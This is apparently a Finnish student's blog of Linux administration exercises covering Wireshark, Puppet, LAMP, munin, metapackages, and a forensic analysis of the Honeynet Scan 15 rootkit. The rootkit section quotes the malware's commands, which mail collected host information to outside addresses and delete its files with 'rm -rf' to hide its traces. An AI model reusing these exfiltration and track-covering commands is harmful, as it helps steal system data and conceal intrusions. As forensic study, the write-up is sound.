Tehtävä: Sieppaa ja analysoi omaa verkkoliikennettä ja tee raportista weepisivu

 

Testissä käytän Penetration testing kurssia varten luotua virtuaalikoneetta toimiva Kali linux käyttöjärjestelmällä. Virtuaalikone pyörii virtuaaliverkossa VMWare Workstation 15 pro virtuaalisointialustalla. Virtuaalikoneen verkkolaite NAT:lla yhdistetty ulkoverkkoon.

Asennetaan net-tools

apt install net-tools

Katsotaan prosesseja jotka kuuntelevat portteja. Vain ssh-server kuuntelee TCP protokollaa portilla 22

Katsotaan aktiiviset yhteydet:

netstat -atupen

 

Avataan Wireshark ohjelma, jonka avulla voidaan siepata verkkoliikennettä ja valitaan verkkokortti, jonka liikennettä halutaa siepata.

Tässä tapauksessa se on eth0

Avataan verkkoselaimen kohdekoneella ja seurataan verkkoliikennettä

Kirjauduin koneelle SSH-yhteydellä minun läppäriltäni, jolloin verkkoliikenne muodostunut Default Gateway osoitteesta: 192.168.142.1 kohdekoneeseen.

Virtuaaliverkon DNS sijaitsee osoitteessa: 192.168.142.2

Pingataan DNS:ää

Verkkoliikenne on seuraava:

PING käyttää ICMP protokollaa.

Tehtävä 6 – Oma puppet moduli

GitHub – Repository – tässä ovat modulin manifesteja.

Kurssin pääteksi viimeiseenä tehtävänä on rakentaa oma moduli.

Vähän ajateltuna päätin valita tällaisen tehtävän josta on hyötyä jatkossakin. WordPress asentavan modulin teko kuulosti mielenkintoiselta, mutta vähän haastavalta. Loppujen lopuksi päätin ryhtyä rakentamaan just sen.

Suunnittelu.

Kuten jokainen WordPress asentanut tietää, asennus kokonaisuus koostuu muutamasta asiasta. Ne ovat LAMP-asennus, tietokannan muokkaminen (uusi käyttäjä, salasanat), WordPress paketin asennus. Päätin tehdä oma manifesti jokaiselle vaiheille erikseen. Päätin käyttää myös Puppet Labs Package joka järjestää modulin niin että siitä voidaan muutamalla komennolla luoda tar.gz paketti ja asentaa sitten toiseen koneen. Aloitin laatamalla sen.

$ sudo apt-get update 

$ wget https://apt.puppetlabs.com/puppetlabs-release-trusty.deb sudo dpkg -i puppetlabs-release-trusty.deb

$ sudo apt-get install puppet

$  sudo puppet module install puppetlabs-apache

$ sudo puppet module install puppetlabs-mysql

$ mkdir ~/MyModules

$ cd  ~/MyModules

Generoin modulin rungon jonka sitten lähden muokkamaan:

$ sudo puppet module generate do-wordpress --skip-interview

–skip-interview ohittaa tietojen syötön metadata.json tiedostoon jossa modulin metadata sijaitse

Sitten kirjoitin ensimmäisen manifestin joka käsitelee Apache ja PHP:tä

$ nano ~/MyModules/do-wordpress/manifests/web.pp

Käytä "Takaisin" painiketta katsottua manifestia GitHub.com:issa.

https://github.com/xelsinki/test/blob/master/web.pp

Seuraavaksi kirjoitin manifestin jossa sijaitsee muuttujat.

$ nano ~/MyModules/do-wordpress/manifests/conf.pp

https://github.com/xelsinki/test/blob/master/conf.pp

Ideana on se, että muuttujia vaihdetaan vain tässä tiedostossa. Kun moduli käynnistetään toisella serverilla, niin riittää että yksityistietoja muokkataan vain tässä.

Muuttujia on yhteensä 7:

$root_password – root käyttäjän salasana
$db_name – tietokannan nimi
$db_user – tietokannan käyttäjä
$db_host – host missä tietokanta sijaitse
$db_user_password -tietokannan käyttäjän salasana

ja vielä 2 muuttujia koostuvia mitkä tarvitaan seuraavassa manifestissa.

$db_user_host = "${db_user}@${db_host}" – käyttäjä@host

$db_user_host_db= "${db_user}@${db_host}/${db_name}.*" – käyttäjä@host/tietokanta.*

Seuraavaksi kirjoitin tietokanta moduulin:

$ sudo nano ~/MyModules/do-wordpress/manifests/db.pp

https://github.com/xelsinki/test/blob/master/db.pp

Tässä manifestissa muokkataan MySQL Server ja Client tietoja.

– Määritetään root salasana
– Luodaan wordpress tietokanta
– Luodaan wordpress tietokanna käyttäjän
– Annetaan käyttäjälle täydet oikeuden muokkata tietokanta

Seuraavaksi laatasin wordpress asennus paketin. Valmista pakettia Ubuntun repositorissa ei ole, niin on helpompi laadata sen käsiin do-wordpress/files kansioon. Purkasin sen /tmp kansioon, otin kopion wp-config-sample.php tiedostosta do-wordpress/template kansioon ja käytän sen rungona wordpress konfiguraatiossa. Sitten tyhjensin /tmp kansion ja avasin kopioidun tiedoston muokattavaksi.

mkdir ~/MyModules/do-wordpress/files
cd ~/MyModules/do-wordpress/files
wget http://wordpress.org/latest.tar.gz
mkdir ~/MyModules/do-wordpress/templates
cd /tmp
tar -xvzf ~/MyModules/do-wordpress/files/latest.tar.gz
cp /tmp/wordpress/wp-config-sample.php ~/MyModules/do-wordpress/templates/wp-config.php.erb
rm -rf /tmp/wordpress
sudo nano ~/MyModules/do-wordpress/templates/wp-config.php.erb

https://github.com/xelsinki/test/blob/master/wp-config.php.erb

Laitoin sinne muutujat.

<?php
define('DB_NAME', '<%= scope.lookupvar('wordpress::conf::db_name') %>');
define('DB_USER', '<%= scope.lookupvar('wordpress::conf::db_user') %>');
define('DB_PASSWORD', '<%= scope.lookupvar('wordpress::conf::db_user_password') %>');
define('DB_HOST', '<%= scope.lookupvar('wordpress::conf::db_host') %>');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

define('AUTH_KEY',         'put your unique phrase here');
define('SECURE_AUTH_KEY',  'put your unique phrase here');
define('LOGGED_IN_KEY',    'put your unique phrase here');
define('NONCE_KEY',        'put your unique phrase here');
define('AUTH_SALT',        'put your unique phrase here');
define('SECURE_AUTH_SALT', 'put your unique phrase here');
define('LOGGED_IN_SALT',   'put your unique phrase here');
define('NONCE_SALT',       'put your unique phrase here');

$table_prefix  = 'wp_';

define('WP_DEBUG', false);

if ( !defined('ABSPATH') )
    define('ABSPATH', dirname(__FILE__) . '/');

require_once(ABSPATH . 'wp-settings.php');

Seuraavaksi kirjoitin wordpress manifestin:

nano ~/MyModules/do-wordpress/manifests/wp.pp

https://github.com/xelsinki/test/blob/master/wp.pp

Tässä manifestissa puretaan ladattu latest.tar.gz (wordpress paketti), kopioidaan sen /var/www kansioon jossa sijaitse apachen pyörittämät web-sivut. Viimeisenä kopiodaan templateista aikaisemmin luomani wp-config.php.erb oikeaan paikaan josta wordpress hae konfiguraatiot.

Viimeisenä modulin manifestina kirjoitin init.pp jossa määritään käynnistysvuorot:

nano ~/MyModules/do-wordpress/manifests/init.pp

https://github.com/xelsinki/test/blob/master/init.pp

Aloitan tehtävän asentamalla mun läppäriin pysyvän Xubuntu 16.04 LTS rinnakkais käyttöjärjestelmänä. Syy tähän on se, että olen niin rakastunut Linuxiin tässä muutamassa kuukaudessa, että päätimme muuttaa yhteen.

Löysin googlamalla GitHub repository jossa säilytetään Puppet moduleita GOV::UK

https://github.com/alphagov/govuk-puppet/tree/master/modules

The United States Government Configuration Baseline (USGCB) – Red Hat Enterprise Linux 5 Desktop Content: https://usgcb.nist.gov/usgcb/rhel/download_rhel5.html

PUPPET MODULES (Change Log) – 2011.07.26

sha1
0D06228CF9EA29EC931EAA6D6E9C9EA7B4AEABB1
sha256
ABE10B94C4C1D0D2F91A85380ABEA54D25EA549A218699F33C9C009BFE076479

Tarkistan SHA1 summan:

$ sha1sum puppet-sdc-dist.tar.gz

0d06228cf9ea29ec931eaa6d6e9c9ea7b4aeabb1 puppet-sdc-dist.tar.gz

Puran arkiston:

$ tar -xvf puppet-sdc-dist.tar.gz

Valitsin manifest “ssh” joka asentaa openssh-client ja openssh-server

Tässä on alkuperäinen:

class ssh {
# GuideSection
# 3.5.2 3.5.2.1 3.5.2.3 3.5.2.4 3.5.2.5 3.5.2.6 3.5.2.7 3.5.2.8
# Configure ssh server
package {
“openssh-clients”:
ensure => installed;
“openssh-server”:
ensure => installed;
}

service {
“sshd”:
ensure    => true,
enable    => true,
hasstatus => true,
require   => Package[“openssh-server”];
}

augeas {
“sshd_config, 3.5.2.*”:
context => “/files/etc/ssh/sshd_config”,
lens    => “sshd.lns”,
incl    => “/etc/ssh/sshd_config”,
changes => [
“set Protocol 2”,
“set ClientAliveInterval 900”,
“set ClientAliveCountMax 0”,
“set IgnoreRhosts yes”,
“set HostbasedAuthentication no”,
“set PermitRootLogin no”,
“set PermitEmptyPasswords no”,
“set Banner /etc/issue”,
“set PermitUserEnvironment no”,
“set Ciphers aes128-ctr,aes192-ctr,aes256-ctr”,
];
}
}

 

 

Kopioin sen /etc/puppet/modules/ssh/manifests/init.pp

Käynnistin class ssh:

 

 

 

 

Tuli virheilmoitus.

Tarkistin onko Ubuntulla “openssh-clients” nimistä pakettia?

Sudo apt-get install openssh + <TAB>

user@hp:/etc/puppet/modules/ssh/manifests$ sudo apt-get install openssh-

openssh-blacklist openssh-client openssh-known-hosts openssh-sftp-server

openssh-blacklist-extra openssh-client-ssh1 openssh-server

 

Paketti on pikkasen eriniminen. Muokan manifestin oikeaksi.

user@hp:/etc/puppet/modules/ssh/manifests$ sudo nano init.pp

user@hp:/etc/puppet/modules/ssh/manifests$ sudo puppet apply -e ‘class {“ssh”:}’

Notice: Compiled catalog for hp.home in environment production in 0.98 seconds

Error: /Stage[main]/Ssh/Service[sshd]: Could not evaluate: Could not find init script or upstart conf file for ‘sshd’

Notice: Finished catalog run in 0.15 seconds

user@hp:/etc/puppet/modules/ssh/manifests$

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Silti tule virheilmoitus.

 

 

Yritän vielä etsiä mistä

 

Linux perusteet kurssin koe

Tehtäväksi valitsin seuraava koe:

http://terokarvinen.com/2012/linux-koe-tyoasemat-ja-tietoverkot-25

Me Karttakatu Oy:ssä teemme karttoihin liittyviä weppisovelluksia. Olemme muutaman hengen yritys.

Asenna työasema, jolla tavallisimmat toimistotyöt onnistuvat (weppisurffailu, tekstinkäsittely). (Asentuessa voit käydä kommentoimassa kavereiden blogeja).

Työntekijämme ovat Einari Vähäkäähkä, Pekka Winha, Åke Andersson ja Leila Laila. He haluavat kehittää PHP-kotisivuja etäkäyttöyhteydellä. Asenna tarvittavat palvelut ja tee esimerkkisivut.

Asenna kaikkien käyttäjien käyttöön skripti (shell script) nimeltä “mystatus”, joka näyttää vapaan levytilan (df -h) ja koneen ip-osoitteen.

Tähtäätkö huipputulokseen? Pekka Winha haluaa käyttää MySQL tietokantaa. Asenna hänelle MySQL-tietokanta ja siihen PhpMyAdmin-weppiliittymä.

 

Ratkaisu:

Olen asentanut labrassa 5004 koneseen Xubuntu 14.04 Live USB-tikulta. Asennus sujui hyvin.

sitten päivitetään pakettihallinta komennolla:

sudo apt-get update

pitää asentaa ssh-server ja luoda käyttäjät, seurava komento on:

sudo apt-get install openssh-server

Terminal näytti kuinka paljon tilaa ssh-server vie ja kysyi vahvistusta.

Hetken päästä asennus on valmis.

Seuraavaksi olen luonnut käyttäjä pekka komennolla:

sudo adduser pekka

asennus kysyi pekalle salasanan,

Full name: Pekka Winha,

muut tiedot jätin tyhjänä.

Samoin tein muille käyttäjille: Einari Vähäkäähkä, Åke Andersson ja Leila Laila

sudo adduser einari

sudo adduser ake

sudo adduser leila

tarkistin:

ssh ake@localhost

annoin salasanan ja rudulle imestyi

ake@hp:¨~$

tämä tarkoittaa että ake on kirjautunut ssh palvelimelle koneseen hp.

Konennolla exit olen sulkenut yhteyden.

Seuravaaksi pitää asentaa Apache, MySQL, PHP

sudo apt-get install apache2

Asennuksen jälkeen tarkistin web selaimessa:

http://localhost

Tuli Apache2 Ubuntu Default Page -sivu. Apache toimii.

Avasin käyttäjille kotisivuhakemiston sallituksi

sudo a2enmod userdir

Käynistin apache uudelleen.

service apache2 restart                       FAIL

unohdin laittaa sudo eteen.

sudo service apache2 restart              OK

Seuravaksi asensin PHP

sudo apt-get install php5

Muokkasin “configuration” tiedostoa

/etc/apache2/mods-enabled/php5.conf

Käynistinapache uudelleen

sudo service apache2 restart

Seuraavaksi:

sudo apt-get install mysql-server

sudo apt-get install phpmyadmin

Valitsin salasana phpmyadmin:ille

Kirjauduin mysql:iin

mysql -u root -p

rudulle tuli

mysql>

tietokanta toimii, lähdin pois komennolla

quit

 

Lähteet:

VIHONENL: https://vihonenl.wordpress.com/linux-palvelimena/

 

Kuormitus ja lokit

Kerää kuormitustietoja munin -ohjelmalla
– Kuormita konetta stress:llä
– Käytä tunnilla käytyjä työkaluja arvioidaksesi kuormitusta: cpu, mem, io…
– Lopuksi analysoi munin keräämiä käyriä
– Aiheuta valitsemaasi lokiin muutamia rivejä ja analysoi niistä 2-3 riviä perusteellisest

 

Työskentelyympäristön vaihto – Linux virtuaalikone MS Azure Iaas pilvissä:

Kesällä suoritin Cloud Services kurssia jossa olen tutustunut Microsoft Azuren IaaS ratkaisuihin. Käytin Windos Server 2012 virtuaalikonetta projektin suorittamiseen. Nyt on hyvää tilaisuus tutustua Linux palvelimiin SSH etähallinalla koska ymmärsin että käytämme töyskentelyyn komentokehotetta.

Olen luonnut Microsoft Azuren virtuaalikoneseen asennettua Ubuntu 16.04 LTS johon saa kätevästi yhteyttä SSH:lla. Virtuaalikonen koko on A1 Standard (1 core, 1,75GB RAM, 40GB HDD). Järjestelmä on luonut virtuaaliverkon, antanut konelle public IP osoite ja avannut Endpoint (portti) 22 SSH yhteyttä varten. Samalla on perustettu “Network Security Group” jossa määritellään virtuaaliverkon parametrit. Data Center valintani on “West Europe” (Alankomaat) koska niin voidaan tarvittaessa käsitellä ja säilyttää EU:n kansallaisten henkilötietoja lainsäädäntön vaatimalla tavalla.

sudo apt-get update – päivitin Ubuntun

sudo apt-get-install munin – käynisti munin asennuksen, valmis

sudo apt-get-install stress – käynisti stressin asennuksen, valmis

 

Kokeilen ensin netstatin käyttöä.

netstat -? tai -help antoi

netstat -pea  -inet (ei näy kaikki tietoja ilman root oikeuksia)

 

netstat -inet    näytti “Kernel Interface table”asetukset korteille: eth0 & lo(loopback)

sudo netstat -pea  (yhdistelmä)

  • -p, –programs           display PID/Program name for sockets
  • -e, –extend             display other/more information
  • -a, –all, –listening   display all sockets (default: connected)

 

-a  eli all näyttää”Active Connections” luettelon yhteyksistä, joista näytti:

  • käyttävän protokollan  – käytetyt osoiteet  (lähtöosoite:porti & kohdeosoite:portti)
  • yhteyden nykytilan (Listen/Time_WAIT/Established)
  • yhteyden omistajan (root/syslog).
MUNIN:
NAME
       munin - Munin manpage hub

DESCRIPTION
       Munin is a group of programs to gather data from hosts, graph them,
       create html-pages, and optionally warn contacts about any off-limit
       values.

       The Munin master contains the following programs:
        munin-update - to gather data from machines running munin-node.
        munin-graph  - to create graphs from data contained in rrd-files.
        munin-limits - to check for any off-limit values.
        munin-html   - to draw html-pages on an Munin installation
        munin-cron   - to batch other munin programs

 

Rootkit etsintä

Tehtävänä oli löytää saastetun konen levykuvasta jälkiä rootkitistä.

HoneyNet Scan of the Month 15. http://old.honeynet.org/scans/scan15/

Ratkaisu:

Asensin labran koneseen Xubuntu 14.04  Live USB-tikulta..

Latasin levykuva: http://old.honeynet.org/scans/scan15/

Päivitin pakettitietokannan:

sudo apt-get update

Päätin käyttää “sleuthkit”(lisäätietoa: http://www.sleuthkit.org/) niminen kokoelman,

niin latasin sen komennolla:

sudo apt-get install sleuthkit

menin kansioon missä saastunut levykuva on:

cd /home/Downloads

tarkistetin tarkistussumman:

md5sum honeynet.tar.gz

Summa oli sama kun sivustossa MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21

Olen purkanut levykuvan komennolla:

tar -xvf honey.tar.gz

Purettu levykuva sisältänyt kansion honeynet

screenshot-1

niin olin luonut tähän kansioon vielä kaksi kansiota allocated ja deleted yhdellä konmennolla:

mkdir allocated deleted

palautetaan allocated tiedostot kansioon allocated:

tsk_recover -a honeypot.hda8.dd allocated

1614 tiedostoa oli palautettu

palautetaan poistetut tiedostot kansioon deleted:

tsk_recover honeypot.hda8.dd deleted

37 tiedostoa on palautettu.

Minua enemmän kiinnostavat poistetut tiedostot

siellä löytyy vielä yksi arkisto lk.tgz purkasin sen:

tar -xvf lk.tgz

kansioon last on purettu:

screenshot-2

nimistä linsniffer, logclear voidaan päätää että ollaan lähellä.

komennolla: fls -l honeypot.hda8.dd | less

sain viimeksi käytetyjen tai poistettujen tiedostojen listan.

(komennolla fls saa tietoa mitkä vielä argumentit voi käyttää tällä sleuthkit komennolla)

screenshot-8

viimeiset ovat lk.tgz ja last 03:44 ja 03.45 käyetetty.

 

less install

screenshot-5

screenshot-7

tiedosto on skripti joka siirtää, kopioi ja poistaa tietoja netstat, ifconfig….

käsittelee konen verkkotietoja…

Computer tiedostoon rootkit keräsi tietokoneen tietoja:
echo “* Luam Informatiile dorite …”
echo “* Info : $(uname -a)” >> computer
echo “* Hostname : $(hostname -f)” >> computer
echo “* IfConfig : $(/sbin/ifconfig | grep inet)” >> computer
echo “* Uptime : $(uptime)” >> computer
echo “* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)” >> computer
echo “* Cpu Model : $(cat /proc/cpuinfo|grep model)” >> computer
echo “* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)” >> computer
echo “* Bogomips: $(cat /proc/cpuinfo|grep bogomips)” >> computer
echo “* Spatiu Liber: $(df -h)” >> computer

rivit:

cat computer | mail -s “placinte” last@linuxmail.org

cat computer | mail -s “roote” bidi_damm@yahoo.com

tulostavat computer tietoja ja lähettävät sähköpostia näihin osoiteisiin.

viimeinen rivi:

rm -rf last lk.tgz computer lk.tar.gz

poistaa kansion last ja tiedostot lk.tgz, lk.tar.gz, computer

eli peittää jäljet.

 

less cleaner

Screenshot - 6.png

tämä tiedosto ilmeisesti poistaa jäljet lokeista…..

Lähteet:

http://old.honeynet.org/scans/scan15/

http://www.sleuthkit.org/sleuthkit/man/fls.html

http://www.sleuthkit.org/sleuthkit/man/tsk_recover.html

http://www.cyberciti.biz/faq/tar-extract-linux/

https://jukkapentti.wordpress.com/2013/01/28/scan-of-the-month-15-rootkit/

https://vihonenl.wordpress.com/linux-palvelimena/

http://www.sleuthkit.org/case/sotm_15/

Metapaketti

Tehtäväksianto:

– Tee metapaketti, joka asentaa suosikkiohjelmasi. Katso, että se menee läpi lintianista.
– Tee pakettivarasto repreprolla

Käytän tehtävässä aiemmin luotu MS-Azure virtuaali Ubuntu 16.04 LTS. Otin yhteyttä koneseen putty:lla.

Alussa päivitin paketteja komennolla:

sudo apt-get update

Käytän paketin valmistamiseen equivs ohjelman. Asensin sen komennolla:

sudo apt-get install equivs

Asennus onnistui.

Seuraavaksi loin uuden kansion metapaketti ja siirryin sinne.

mkdir metapaketti

cd metapaketti

Seuraavaksi loin asennustiedoston equivs:llä

Kansioon syntyi tiedosto metapaketti.cfg avasin sen nano:lla

nano metapaketti.cfg

Ilmestyi tyhjä sivu nanolla.????

Tutkittuani huomasin kirjoitusvirhen metapeketti.cfg

Oikea komento avasi metapaketti.cfg nano:lla.

Tiedostossa muokkasin seuraavat kohdat: Package, Version, Maintainer, Depends ja Description. Depends-kohtaan määrittelin mitkä ohjelmat pakettiin halutaan. wireshark, munin, lintian

package

Ajetaan equivs-build:lla  muokattu metapaketti.cfg komennolla

equivs-build metapaketti.cfg

build

paketin luonti onnistunut:

Seuraavaksi tarkistetaan paketin alex-pac_1.0_all.deb. Asensin lintian komennolla

sudo apt-get install lintian

Asennus on valmis. Tarkistin paketin komennolla

lintian alex-pac_1.0_all.deb

notexist

Tuli ilmoitus että tiedostoa ei löytynyt. Tarkistin mitä kansiossa on.

ls

cd metapaketti

lintian alex-pac_1.0_all.deb

Virheilmoitusta ei näkynyt. Paketti on valmis.

Asiensin gdebi komennolla

sudo apt-get install gdebi -y

gdebi

sudo gdebi -n alex-pac_1.0_all.deb

ohjelmat asensivat oikein.

REPREPRO

Asensin reprepro komennolla

sudo apt-get install reprepro

komennolla: lsb_release -a 

selvisin että käytössäni on  xenial 

Loin kansion ja nanolla tiedoston

mkdir -p repository/conf

nano repository/conf/distributions

rep

kun oli aikaa käynistää tein montaa kertaa saman virhen. Kirjoitin paketin sijainnin väärin  ( home/alex/metapaketti…….) sitten korjasin seuraavasti:

reprepro -VVVV -b repository/ includedeb xenial /home/alex/metapaketti/alex-pac_1.0_all.deb

reprepro

repository on luotu. Asensin komennolla

sudo apt-get install alex-pac

loppu

Nyt ei kuitenkin asennettu mitään koska ohjelmat oli asennettu aikaisemmin.

Lähteet:

http://terokarvinen.com/2011/create-deb-metapackage-in-5-minutes

http://terokarvinen.com/2011/update-all-your-computers-with-a-deb-repository

https://kimstenberg.wordpress.com/

http://forum.ubuntu.ru/index.php?topic=279895.0

 

LAMP Asennus

Varsinaiset tehtävät:

– Asenna LAMP. LAMP tarkoittaa Linux, Apache, MySQL, PHP. Tee pienin erikseen testattava kokonaisuus kerrallaan ja testaa aina asennetut osat. Jos ei toimi, lue lokeja.
– Tee MySQL:n uusi tietokanta ja samanniminen käyttäjä. Valitse hyvä salasana, joka on eri kuin muut salasanat.
– Tee PHP-skriptiin kirjoitusvirhe ja etsi virheilmoitus lokista. Analysoi löytynyt lokirivi.
– Tee johonkin Apachen asetustiedostoon kirjoitusvirhe ja etsi virheilmoitus lokista. Analysoi löytynyt lokirivi.

pe 23.09.2016  –   Lähetin hakemuksen GitHub Education paketille.

Asensin Apache komennolla:

sudo apt-get install apache2

Asetin käyttäjille kotisivuhakemiston sallituksi komennolla:

sudo a2enmod userdir

käynistin uudelleen apache:

sudo service apache2 restart

public_html kansio oli luotu edellisessä tehtävässä. Lisäsin sinne index.html tiedoston.

html

asensin php komennolla:

sudo apt-get install php5

no-php5

Tuli omituinen viesti että php5 ei voi asentaa…

jatkan tehtävän  toisella konella.

parin tunnin jälkeen kokeilin muuttaa komentoa.

Komento: sudo apt-get install php onnistui

Seuraavaksi:

sudo apt-get install mysql-server phpmyadmin

Pyydettiin uusi salasana root käyttäjälle

ja millä serverillä voi käyttää phpmyadmin

Valitsin molemmat apache2 ja lighttp.

Pyydettiin salasana phpmyadmin:ille

phpmyadmin

Valitsin salasana phpmyadmin:ille

Kirjauduin mysql:iin

mysql -u root -p

rudulle tuli

mysql>

Lähdin pois komennolla

quit

 

LÄHTEET:

matto.guru

phpmyadmin.net

 

Links:

gandi.net  – Domains

namecheap.com – Domains

https://letsencrypt.org/ – saa ilmaisen “Certificate Authority”

sqlzoo.net – SQL “eläntarha” – Jos SQL tietoja ruostessa, niin tämä on hyvä sivusto